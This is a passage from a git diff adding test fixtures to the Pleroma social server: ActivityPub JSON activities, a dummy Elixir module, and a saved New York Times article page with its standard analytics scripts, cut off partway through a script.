+ "http://mastodon.example.org/users/admin/followers"
+ ]
+ },
+ "id": "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity",
+ "atomUri": "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity",
+ "actor": "http://mastodon.example.org/users/admin",
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "toot": "http://joinmastodon.org/ns#",
+ "sensitive": "as:sensitive",
+ "ostatus": "http://ostatus.org#",
+ "movedTo": "as:movedTo",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "atomUri": "ostatus:atomUri",
+ "Hashtag": "as:Hashtag",
+ "Emoji": "toot:Emoji"
+ }
+ ]
+}
diff --git a/test/fixtures/mastodon-undo-like-compact-object.json b/test/fixtures/mastodon-undo-like-compact-object.json
new file mode 100644
index 000000000..ae66a0d19
--- /dev/null
+++ b/test/fixtures/mastodon-undo-like-compact-object.json
@@ -0,0 +1,29 @@
+{
+ "type": "Undo",
+ "signature": {
+ "type": "RsaSignature2017",
+ "signatureValue": "fdxMfQSMwbC6wP6sh6neS/vM5879K67yQkHTbiT5Npr5wAac0y6+o3Ij+41tN3rL6wfuGTosSBTHOtta6R4GCOOhCaCSLMZKypnp1VltCzLDoyrZELnYQIC8gpUXVmIycZbREk22qWUe/w7DAFaKK4UscBlHDzeDVcA0K3Se5Sluqi9/Zh+ldAnEzj/rSEPDjrtvf5wGNf3fHxbKSRKFt90JvKK6hS+vxKUhlRFDf6/SMETw+EhwJSNW4d10yMUakqUWsFv4Acq5LW7l+HpYMvlYY1FZhNde1+uonnCyuQDyvzkff8zwtEJmAXC4RivO/VVLa17SmqheJZfI8oluVg==",
+ "creator": "http://mastodon.example.org/users/admin#main-key",
+ "created": "2018-05-19T16:36:58Z"
+ },
+ "object": "http://mastodon.example.org/users/admin#likes/2",
+ "nickname": "lain",
+ "id": "http://mastodon.example.org/users/admin#likes/2/undo",
+ "actor": "http://mastodon.example.org/users/admin",
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "toot": "http://joinmastodon.org/ns#",
+ "sensitive": "as:sensitive",
+ "ostatus": "http://ostatus.org#",
+ "movedTo": "as:movedTo",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "atomUri": "ostatus:atomUri",
+ "Hashtag": "as:Hashtag",
+ "Emoji": "toot:Emoji"
+ }
+ ]
+}
diff --git a/test/fixtures/mastodon-update.json b/test/fixtures/mastodon-update.json
index f6713fea5..dbf8b6dff 100644
--- a/test/fixtures/mastodon-update.json
+++ b/test/fixtures/mastodon-update.json
@@ -1,10 +1,10 @@
-{
- "type": "Update",
- "object": {
- "url": "http://mastodon.example.org/@gargron",
- "type": "Person",
- "summary": "<p>Some bio</p>",
- "publicKey": {
+{
+ "type": "Update",
+ "object": {
+ "url": "http://mastodon.example.org/@gargron",
+ "type": "Person",
+ "summary": "<p>Some bio</p>",
+ "publicKey": {
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0gs3VnQf6am3R+CeBV4H\nlfI1HZTNRIBHgvFszRZkCERbRgEWMu+P+I6/7GJC5H5jhVQ60z4MmXcyHOGmYMK/\n5XyuHQz7V2Ssu1AxLfRN5Biq1ayb0+DT/E7QxNXDJPqSTnstZ6C7zKH/uAETqg3l\nBonjCQWyds+IYbQYxf5Sp3yhvQ80lMwHML3DaNCMlXWLoOnrOX5/yK5+dedesg2\n/HIvGk+HEt36vm6hoH7bwPuEkgA++ACqwjXRe5Mta7i3eilHxFaF8XIrJFARV0t\nqOu4GID/jG6oA+swIWndGrtR2QRJIt9QIBFfK3HG5M0koZbY1eTqwNFRHFL3xaD\nUQIDAQAB\n-----END PUBLIC KEY-----\n",
"owner": "http://mastodon.example.org/users/gargron",
"id": "http://mastodon.example.org/users/gargron#main-key"
@@ -20,7 +20,27 @@
"endpoints": {
"sharedInbox": "http://mastodon.example.org/inbox"
},
- "icon":{"type":"Image","mediaType":"image/jpeg","url":"https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"},"image":{"type":"Image","mediaType":"image/png","url":"https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"}
+ "attachment": [{
+ "type": "PropertyValue",
+ "name": "foo",
+ "value": "updated"
+ },
+ {
+ "type": "PropertyValue",
+ "name": "foo1",
+ "value": "updated"
+ }
+ ],
+ "icon": {
+ "type": "Image",
+ "mediaType": "image/jpeg",
+ "url": "https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
+ },
+ "image": {
+ "type": "Image",
+ "mediaType": "image/png",
+ "url": "https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
+ }
},
"id": "http://mastodon.example.org/users/gargron#updates/1519563538",
"actor": "http://mastodon.example.org/users/gargron",
diff --git a/test/fixtures/misskey-like.json b/test/fixtures/misskey-like.json
new file mode 100644
index 000000000..84d56f473
--- /dev/null
+++ b/test/fixtures/misskey-like.json
@@ -0,0 +1,14 @@
+{
+ "@context" : [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {"Hashtag" : "as:Hashtag"}
+ ],
+ "_misskey_reaction" : "pudding",
+ "actor": "http://mastodon.example.org/users/admin",
+ "cc" : ["https://testing.pleroma.lol/users/lain"],
+ "id" : "https://misskey.xyz/75149198-2f45-46e4-930a-8b0538297075",
+ "nickname" : "lain",
+ "object" : "https://testing.pleroma.lol/objects/c331bbf7-2eb9-4801-a709-2a6103492a5a",
+ "type" : "Like"
+}
diff --git a/test/fixtures/modules/runtime_module.ex b/test/fixtures/modules/runtime_module.ex
new file mode 100644
index 000000000..4711c3532
--- /dev/null
+++ b/test/fixtures/modules/runtime_module.ex
@@ -0,0 +1,9 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule RuntimeModule do
+ @moduledoc """
+ This is a dummy module to test custom runtime modules.
+ """
+end
diff --git a/test/fixtures/nypd-facial-recognition-children-teenagers.html b/test/fixtures/nypd-facial-recognition-children-teenagers.html
new file mode 100644
index 000000000..5702c4484
--- /dev/null
+++ b/test/fixtures/nypd-facial-recognition-children-teenagers.html
@@ -0,0 +1,227 @@
+<!DOCTYPE html>
+<html lang="en" itemId="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" itemType="http://schema.org/NewsArticle" itemScope="" class="story" xmlns:og="http://opengraphprotocol.org/schema/">
+ <head>
+ <title data-rh="true">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database. - The New York Times</title>
+ <meta data-rh="true" itemprop="inLanguage" content="en-US"/><meta data-rh="true" property="article:published" itemprop="datePublished dateCreated" content="2019-08-01T17:15:31.000Z"/><meta data-rh="true" property="article:modified" itemprop="dateModified" content="2019-08-02T09:30:23.000Z"/><meta data-rh="true" http-equiv="Content-Language" content="en"/><meta data-rh="true" name="robots" content="noarchive"/><meta data-rh="true" name="articleid" itemprop="identifier" content="100000006583622"/><meta data-rh="true" name="nyt_uri" itemprop="identifier" content="nyt://article/9da58246-2495-505f-9abd-b5fda8e67b56"/><meta data-rh="true" name="pubp_event_id" itemprop="identifier" content="pubp://event/47a657bafa8a476bb36832f90ee5ac6e"/><meta data-rh="true" name="description" itemprop="description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" name="image" itemprop="image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" name="byl" content="By Joseph Goldstein and Ali Watkins"/><meta data-rh="true" name="thumbnail" itemprop="thumbnailUrl" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-thumbStandard.jpg"/><meta data-rh="true" name="news_keywords" content="NYPD,Juvenile delinquency,Facial Recognition,Privacy,Government Surveillance,Police,Civil Rights,NYC"/><meta data-rh="true" name="pdate" content="20190801"/><meta data-rh="true" property="og:url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="og:type" content="article"/><meta data-rh="true" property="og:title" content="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/><meta data-rh="true" property="og:image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg"/><meta data-rh="true" property="og:description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" property="twitter:url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="twitter:title" content="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/><meta data-rh="true" property="twitter:description" content="With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers."/><meta data-rh="true" property="twitter:image" content="https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg"/><meta data-rh="true" property="twitter:image:alt" content=""/><meta data-rh="true" property="twitter:card" content="summary_large_image"/><meta data-rh="true" property="article:section" itemprop="articleSection" content="New York"/><meta data-rh="true" property="article:tag" content="Police Department (NYC)"/><meta data-rh="true" property="article:tag" content="Juvenile Delinquency"/><meta data-rh="true" property="article:tag" content="Facial Recognition Software"/><meta data-rh="true" property="article:tag" content="Privacy"/><meta data-rh="true" property="article:tag" content="Surveillance of Citizens by Government"/><meta data-rh="true" property="article:tag" content="Police"/><meta data-rh="true" property="article:tag" content="Civil Rights and Liberties"/><meta data-rh="true" property="article:tag" content="New York City"/><meta data-rh="true" name="CG" content="nyregion"/><meta data-rh="true" name="SCG" content=""/><meta data-rh="true" name="CN" content="experience-tech-and-society"/><meta data-rh="true" name="CT" content="spotlight"/><meta data-rh="true" name="PT" content="article"/><meta data-rh="true" name="PST" content="News"/><meta data-rh="true" name="url" itemprop="url" content="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" name="msapplication-starturl" content="https://www.nytimes.com"/><meta data-rh="true" property="al:android:url" content="nytimes://reader/id/100000006583622"/><meta data-rh="true" property="al:android:package" content="com.nytimes.android"/><meta data-rh="true" property="al:android:app_name" content="NYTimes"/><meta data-rh="true" name="twitter:app:name:googleplay" content="NYTimes"/><meta data-rh="true" name="twitter:app:id:googleplay" content="com.nytimes.android"/><meta data-rh="true" name="twitter:app:url:googleplay" content="nytimes://reader/id/100000006583622"/><meta data-rh="true" property="al:iphone:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:iphone:app_store_id" content="284862083"/><meta data-rh="true" property="al:iphone:app_name" content="NYTimes"/><meta data-rh="true" property="al:ipad:url" content="nytimes://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><meta data-rh="true" property="al:ipad:app_store_id" content="357066198"/><meta data-rh="true" property="al:ipad:app_name" content="NYTimes"/>
+ <meta charset="utf-8" />
+<meta http-equiv="X-UA-Compatible" content="IE=edge" />
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
+<meta property="fb:app_id" content="9869919170" />
+<meta name="twitter:site" value="@nytimes" />
+
+
+ <script type="text/javascript">
+ // 20.585kB
+ window.viHeadScriptSize = 20.585;
+ (function () { var _f=function(e){window.vi=window.vi||{},window.vi.env=Object.freeze(e)};;_f.apply(null, [{"JKIDD_PATH":"https://a.nytimes.com/svc/nyt/data-layer","ET2_URL":"https://a.et.nytimes.com","WEDDINGS_PATH":"https://content.api.nytimes.com","GDPR_PATH":"https://us-central1-nyt-wfvi-prd.cloudfunctions.net/gdpr-email-form","RECAPTCHA_SITEKEY":"6LevSGcUAAAAAF-7fVZF05VTRiXvBDAY4vBSPaTF","ABRA_ET_URL":"//et.nytimes.com","NODE_ENV":"production","SENTRY_SAMPLE_RATE":"10","EXPERIMENTAL_ROUTE_PREFIX":"","ENVIRONMENT":"prd","RELEASE":"034494769d779a637c178f47c2096df69b7c07a4","AUTH_HOST":"https://myaccount.nytimes.com","SWG_PUBLICATION_ID":"nytimes.com","GQL_FETCH_TIMEOUT":"4000"}]); })();;
+ !function(){if('PerformanceLongTaskTiming' in window){var g=window.__tti={e:[]};
+ g.o=new PerformanceObserver(function(l){g.e=g.e.concat(l.getEntries())});
+ g.o.observe({entryTypes:['longtask']})}}();
+;
+ !function(n,e){var t,o,i,c=[],f={passive:!0,capture:!0},r=new Date,a="pointerup",u="pointercancel";function p(n,c){t||(t=c,o=n,i=new Date,w(e),s())}function s(){o>=0&&o<i-r&&(c.forEach(function(n){n(o,t)}),c=[])}function l(t){if(t.cancelable){var o=(t.timeStamp>1e12?new Date:performance.now())-t.timeStamp;"pointerdown"==t.type?function(t,o){function i(){p(t,o),r()}function c(){r()}function r(){e(a,i,f),e(u,c,f)}n(a,i,f),n(u,c,f)}(o,t):p(o,t)}}function w(n){["click","mousedown","keydown","touchstart","pointerdown"].forEach(function(e){n(e,l,f)})}w(n),self.perfMetrics=self.perfMetrics||{},self.perfMetrics.onFirstInputDelay=function(n){c.push(n),s()}}(addEventListener,removeEventListener);
+;try {
+ var observer = new window.PerformanceObserver(function (list) {
+ var entries = list.getEntries();
+
+ for (var i = 0; i < entries.length; i += 1) {
+ var entry = entries[i];
+ var performance = {};
+
+ performance[entry.name] = Math.round(entry.startTime + entry.duration);
+ (window.dataLayer = window.dataLayer || []).push({
+ event: "performance",
+ pageview: {
+ performance: performance
+ }
+ });
+ }
+ });
+ observer.observe({
+ entryTypes: ["paint"]
+ });
+} catch (e) {};
+!function(i,e){var a,s,c,p,u,g=[],
+l="object"==typeof i.navigator&&"string"==typeof i.navigator.userAgent&&/iP(ad|hone|od)/.test(
+i.navigator.userAgent),f="object"==typeof i.navigator&&i.navigator.sendBeacon,
+y=f?l?"xhr_ios":"beacon":"xhr";function d(){var e,t,n=i.crypto||i.msCrypto;if(n)t=n.getRandomValues(
+new Uint8Array(18));else for(t=[];t.length<18;)t.push(256*Math.random()^255&(e=e||+new Date)),
+e=Math.floor(e/256);return btoa(String.fromCharCode.apply(String,t)).replace(/\+/g,"-").replace(
+/\//g,"_")}if(i.nyt_et)try{console.warn("et2 snippet should only load once per page")}catch(e
+){}else i.nyt_et=function(){var e,t,n,o=arguments;function r(r){g.length&&(function(e,t,n){if(
+"beacon"===y||f&&r)return i.navigator.sendBeacon(e,t)
+;var o="undefined"!=typeof XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP")
+;o.open("POST",e),o.withCredentials=!0,o.setRequestHeader("Accept","*/*"),
+"string"==typeof t?o.setRequestHeader("Content-Type","text/plain;charset=UTF-8"
+):"[object Blob]"==={}.toString.call(t)&&t.type&&o.setRequestHeader("Content-Type",t.type);try{
+o.send(t)}catch(e){}}(a+"/track",JSON.stringify(g)),g.length=0,clearTimeout(u),u=null)}if(
+"string"==typeof o[0]&&/init/.test(o[0])&&(c=d(),"init"==o[0]&&!s)){if(s=d(),
+"string"!=typeof o[1]||!/^http/.test(o[1]))throw new Error("init must include an et host url")
+;a=String(o[1]).replace(/\/$/,""),"string"==typeof o[2]&&(p=o[2])}n="page_exit"==(e=o[o.length-1]
+).subject||"ob_click"==(e.eventData||{}).type,a&&"object"==typeof e&&(t="page"==e.subject?c:d(),
+e.sourceApp&&(p=e.sourceApp),e.sourceApp=p,g.push({context_id:s,pageview_id:c,event_id:t,
+client_lib:"v1.0.5",sourceApp:p,how:n&&l&&f?"beacon_ios":y,client_ts:+new Date,data:JSON.parse(
+JSON.stringify(e))}),"send"==o[0]||t==c||n?r(n):u||(u=setTimeout(r,5500)))},
+i.nyt_et.get_pageview_id=function(){return c}}(window);
+;
+var NYTD=NYTD||{};NYTD.Abra=function(t){"use strict";function e(t){var e=r[t];return e&&e[1]||null}function n(t,e){if(t){var n,r,o=e[0],i=e[1],c=0,u=0;if(1!==i.length||4294967296!==i[0])for(n=a(t+" "+o)>>>0,c=0,u=0;r=i[c++];)if(n<(u+=r[0]))return r}}function a(t){for(var e,n,a,r,o,i,c,u=0,h=0,l=[],s=[e=1732584193,n=4023233417,~e,~n,3285377520],f=[],p=t.length;h<=p;)f[h>>2]|=(h<p?t.charCodeAt(h):128)<<8*(3-h++%4);for(f[c=p+8>>2|15]=p<<3;u<=c;u+=16){for(e=s,h=0;h<80;e=[0|[(i=((t=e[0])<<5|t>>>27)+e[4]+(l[h]=h<16?~~f[u+h]:i<<1|i>>>31)+1518500249)+((n=e[1])&(a=e[2])|~n&(r=e[3])),o=i+(n^a^r)+341275144,i+(n&a|n&r|a&r)+882459459,o+1535694389][0|h++/20],t,n<<30|n>>>2,a,r])i=l[h-3]^l[h-8]^l[h-14]^l[h-16];for(h=5;h;)s[--h]=s[h]+e[h]|0}return s[0]}var r,o={};return t.dataLayer=t.dataLayer||[],e.init=function(e){var a,o,i,c,u,h,l,s,f,p,d=[],v=[],m=(t.document.cookie.match(/(?:^|;) *nyt-a=([^;]*)/)||[])[1],b=(t.document.cookie.match(/(?:^|;) *ab7=([^;]*)/)||[])[1],g=(t.location.search.match(/(?:^\?|&)abra=([^&]*)/)||[])[1];if(r)throw new Error("can't init twice");for(r={},u=(decodeURIComponent(b||"")+"&"+decodeURIComponent(g||"")).split("&"),a=u.length-1;a>=0;a--)h=u[a].split("="),h.length<2||(l=h[0])&&!r[l]&&(s=h[1]||null,r[l]=[,s,1],s&&d.push(l+"="+s),v.push({test:l,variant:s||"0"}));for(a=0;a<e.length;a++)i=e[a],(o=i[0])in r||(c=n(m,i)||[],c[0],f=c[1],p=!!c[2],r[o]=c,f&&d.push(o.replace(/[^\w-]/g)+"="+(""+f).replace(/[^\w-]/g)),p&&v.push({test:o,variant:f||"0"}));d.length&&t.document.documentElement.setAttribute("data-nyt-ab",d.join(" ")),v.length&&t.dataLayer.push({event:"ab-alloc",abtest:{batch:v}})},e.reportExposure=function(e,n){if(!o[e]){o[e]=1;var a=r[e];if(a){var i=a[1];a[2]&&t.dataLayer.push({event:"ab-expose",abtest:{test:e,variant:i||"0"}})}n&&t.setTimeout(function(){n(null)},0)}},e}(this);
+;(function () { var NYTD=window.NYTD||{};function setupTimeZone(){var e='[data-timezone][data-timezone~="'+(new Date).getHours()+'"] { display: block }',t=document.createElement("style");t.innerHTML=e,document.head.appendChild(t)}function addNYTAppClass(){var e=window.navigator.userAgent||window.navigator.vendor||window.opera,t=-1!==e.indexOf("nyt_android"),n=-1!==e.indexOf("nytios");(t||n)&&document.documentElement.classList.add("NYTApp")}function setupPageViewId(){NYTD.PageViewId={},NYTD.PageViewId.update=function(){return"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?(window.nyt_et("pageinit"),NYTD.PageViewId.current=window.nyt_et.get_pageview_id()):NYTD.PageViewId.current="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),NYTD.PageViewId.current}}var _f=function(e){try{document.domain="nytimes.com"}catch(e){}window.swgUserInfoXhrObject=new XMLHttpRequest,window.__emotion=e.emotionIds,setupPageViewId(),setupTimeZone(),addNYTAppClass(),window.nyt_et("init",vi.env.ET2_URL,"nyt-vi",{subject:"page",canonicalUrl:(document.querySelector("link[rel=canonical]")||{}).href,articleId:(document.querySelector("meta[name=articleid]")||{}).content,nyt_uri:(document.querySelector("meta[name=nyt_uri]")||{}).content,pubpEventId:(document.querySelector("meta[name=pubp_event_id]")||{}).content,url:location.href,referrer:document.referrer||void 0,client_tz_offset:(new Date).getTimezoneOffset()}),"undefined"!=typeof nyt_et&&"function"==typeof window.nyt_et.get_pageview_id?NYTD.PageViewId.current=window.nyt_et.get_pageview_id():NYTD.PageViewId.update(),NYTD.Abra.init(e.abraConfig,vi.env.ABRA_ET_URL)};;_f.apply(null, [{"emotionIds":["0","1dv1kvn","v89234","nuvmzp","1gz70xg","9e9ivx","2bwtzy","1hyfx7x","6n7j50","1kj7lfb","10m9xeu","vz7hjd","1fe7a5q","1rn5q1r","10488qs","1iruc8t","1ropbjl","uw59u","jxzr5i","oylsik","1otr2jl","1c8n994","qtw155","v0l3hm","g4gku8","1rr4qq7","6xhk3s","rxqrcl","tj0ten","ist4u3","1gprdgz","10t7hia","mzqdl","kwpx34","1k2cjfc","1vhk1ks","6td9kr","r5ic95","15uy5yv","1p8nkc0","5j8bii","1am0aiv","1g7m0tk","d8bdto","y8aj3r","60hakz","i29ckm","acwcvw","1baulvz","f8wsfj","mhvv8m","m6999o","i9gxme","1m9j9gf","1sy8kpn","19vbshk","l9onyx","79elbk","1q1yk17","g7rb99","k008qs","bsn42l","11cwn6f","ghw4n2","1c5cfvc","htgkrt","e64et","9zaqp9","16fq4rz","1kjk1j2","88g286","12yx39b","4hu8jm","1wqz2f4","yl3z84","1q3gjvc","nc39ev","amd09y","ru1vxe","ajnadh","1ri25x2","12fr9lp","1hfdzay","4g4cvq","m6xlts","1ahhg7f","fwqvlz","17xtcya","x15j1o","1705lsu","1iwv8en","b7n1on","1b9egsl","1rj8to8","4w91ra","wg1cha","1ubp8k9","1egl8em","vdv0al","1i2y565","o6xoe7","1fanzo5","53u6y8","1m50asq","z3e15g","uwwqev","1ly73wi","7y3qfv","l72opv","4skfbu","1fcn4th","13zu7ev","f7l8cz","16ogagc","17ai7jg","8i9d0s","1nwzsjy","10698na","nhjhh0","1nuro5j","1w5cs23","4brsb6","uhuo44","exrw3m","1a48zt4","1xdhyk6","vuqh7u","1l44abu","jcw7oy","10raysz","ar1l6a","1ede5it","mn5hq9","1qmnftd","1ho5u4o","13o0c9t","1yo489b","ulr03x","1bymuyk","1waixk9","1f7ibof","l2ztic","19lv58h","mgtjo2","1wr3we4","y3sf94","1bnxwmn","1i8g3m4","3qijnq","uqyvli","1uqjmks","1bvtpon","1vxca1d","1vkm6nb","1ox9jel","1riqqik","2fg4z9","11n4cex","1ifw933","1rjmmt7","rqb9bm","19hdyf3","15g2oxy","2b3w4o","14b9hti","1j8dw05","1vm5oi9","32rbo2","llk6mt","1s4ffep","pdw9fk","1txwxcy","1soubk3"],"abraConfig":[["vi-ads-et",[[257698038,"2_remainder",1],[4037269258,null,0]]],["messaging-optimizely",[[4294967296,"1",0]]],["dfp_adslot4v2",[[4294967296,"1_external",1]]],["DFP_als",[[4294967296,"1_als",1]]],["DFP_als_home",[[214748365,"1_als",1],[214748365,"1_als",1],[429496730,"1_als",1],[429496729,"1_als",1],[858993459,"1_als",1],[1073741824,"1_als",1],[1073741824,null,0]]],["medianet_toggle",[[4294967296,"0_default",0]]],["amazon_toggle",[[4294967296,null,0]]],["index_toggle",[[4294967296,"1_block",0]]],["dfp_home_toggle",[[4294967296,null,0]]],["dfp_story_toggle",[[4294967296,null,0]]],["dfp_interactive_toggle",[[4294967296,null,0]]],["FREEX_Best_In_Show",[[2147483648,"0_Control",1],[2147483648,"1_Best",1]]],["MKT_dfp_ocean_language",[[2147483648,"0_control",1],[2147483648,"1_language",1]]],["MC_magnolia_0519",[[4294967296,"1_magnolia",1]]],["STORY_topical_recirc",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["HOME_timesExclusive",[[2147483648,"0_control",1],[2147483648,"1_variant",1]]],["ON_daily_digest_NL_0719",[[644245095,"0_control",1],[644245094,"1_daily_digest",1],[3006477107,null,0]]],["HOME_discovery_automation",[[2147483648,"0_control",1],[2147483648,"1_automation",1]]],["MKT_GateDockMsgTap",[[1431655766,"0_control",1],[1431655765,"2_BAUDockTapGate",1],[1431655765,"4_BAUDockRBGate",1]]],["FREEX_RegiWall_Messaging",[[214748365,"0_Control",1],[214748365,"1_Continue_Reading",1],[214748365,"2_For_Free",1],[214748365,"3_Keep_Reading",1],[214748364,"4_Continue_Reading_NoHeader",1],[214748365,"5_For_Free_NoHeader",1],[214748365,"6_Keep_Reading_NoHeader",1],[858993459,"0_Control",1],[858993459,"6_Keep_Reading_NoHeader",1],[1073741824,null,0]]],["MC_briefing_bar_anon_test_0519",[[1431655766,"0_control",1],[1431655765,"1_subscribe",1],[1431655765,"2_regi",1]]],["MC_briefing_bar_regi_test_0519",[[2147483648,"0_control",1],[2147483648,"1_subscribe",1]]],["SEARCH_FACET_DROPDOWN",[[2147483648,"0_FACET_MULTI_SELECT",1],[2147483648,"1_DYNAMIC_FACET_SELECT",1]]],["VG_gift_upsell_x_only",[[429496730,"0_control",1],[3865470566,"1_upsell",1]]],["ON_allocator_0719",[[356482286,"ON_login_interrupt_0819-0_control",0],[356482286,"ON_login_interrupt_0819-1_app_experience",0],[356482285,"ON_login_interrupt_0819-2_login_value",0],[356482286,"ON_login_interrupt_0819-3_login_return",0],[356482285,"ON_app_dl_getstarted_0819-0_control",0],[356482286,"ON_app_dl_getstarted_0819-1_appExperience",0],[356482285,"ON_app_dl_getstarted_0819-2_bestApp",0],[356482286,"ON_app_dl_getstarted_0819-3_magicLink",0],[236223201,"ON_app_dl_mc4-6_0819-0_control",0],[236223202,"ON_app_dl_mc4-6_0819-1_dockTrunc",0],[236223201,"ON_app_dl_mc4-6_0819-2_newDock",0],[236223201,"ON_app_dl_mc4-6_0819-3_stdNew",0],[236223201,"ON_app_dl_mc4-6_0819-4_stdDockTrunc",0],[236223202,"ON_app_dl_mc4-6_0819-5_truncator",0],[25769803,null,0]]],["MKT_dfp_ocean_bundle_light",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_design_light",1]]],["MKT_dfp_ocean_bundle_family",[[1431655766,"0_control",1],[1431655765,"1_design",1],[1431655765,"2_family",1]]],["HL_sample",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006614214",[[2147483648,"0",1],[2147483648,"1",1]]],["HL_100000006641840",[[2147483648,"0",1],[2147483648,"1",1]]]]}]); })();;(function () { var _f=function(e){var r=function(){var r=e.url;try{r+=window.location.search.slice(1).split("&").reduce(function(e,r){return"ip-override"===r.split("=")[0]?"?"+r:e},"")}catch(e){console.warn(e)}var n=new XMLHttpRequest;for(var t in n.withCredentials=!0,n.open("POST",r,!0),n.setRequestHeader("Content-Type","application/json"),e.headers)n.setRequestHeader(t,e.headers[t]);return n.send(e.body),n};window.userXhrObject=r(),window.userXhrRefresh=function(){return window.userXhrObject=r(),window.userXhrObject}};;_f.apply(null, [{"url":"https://samizdat-graphql.nytimes.com/graphql/v2","body":"{\"operationName\":\"UserQuery\",\"variables\":{},\"query\":\" query UserQuery { user { __typename profile { displayName } userInfo { regiId entitlements demographics { emailSubscriptions wat bundleSubscriptions { bundle inGrace promotion source } } } subscriptionDetails { graceStartDate graceEndDate isFreeTrial hasQueuedSub startDate endDate status entitlements } } } \"}","headers":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+/oUCTBmD/cLdmcecrnBMHiU/pxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"}}]); })();;100*Math.random()<=vi.env.SENTRY_SAMPLE_RATE?(window.INSTALL_RAVEN=!0,window.nyt_errors={ravenInstalled:!1,list:[],tags:[]},window.onerror=function(n,r,o,w,i){if(!window.nyt_errors.ravenInstalled){var t={err:i,data:{}};window.nyt_errors.list.push(t)}}):window.INSTALL_RAVEN=!1;;(function () { var _f=function(t,e,n){var a=window,A=document,o=function(t){var e=A.createElement("style");e.appendChild(A.createTextNode(t)),A.querySelector("head").appendChild(e)},r=function(t,e,n,a,A){var r=new XMLHttpRequest;r.open("GET",t,!0),r.onreadystatechange=function(){if(4===r.readyState&&200===r.status){o(r.responseText);try{localStorage.setItem("nyt-fontFormat",e),localStorage.setItem(a,n)}catch(t){return}localStorage.setItem(A,r.responseText)}return!0},r.send(null)},c=function(e,n){var A;try{A=localStorage.getItem("nyt-fontFormat")}catch(t){}A||(A=function(){if(!("FontFace"in a))return!1;var t=new FontFace("t",'url("data:application/font-woff2;base64,d09GMgABAAAAAADcAAoAAAAAAggAAACWAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAABk4ALAoUNAE2AiQDCAsGAAQgBSAHIBtvAcieB3aD8wURQ+TZazbRE9HvF5vde4KCYGhiCgq/NKPF0i6UIsZynbP+Xi9Ng+XLbNlmNz/xIBBqq61FIQRJhC/+QA/08PJQJ3sK5TZFMlWzC/iK5GUN40psgqvxwBjBOg6JUSJ7ewyKE2AAaXZrfUB4v+hze37ugJ9d+DeYqiDwVgCawviwVFGnuttkLqIMGivmDg") format("woff2")',{});return 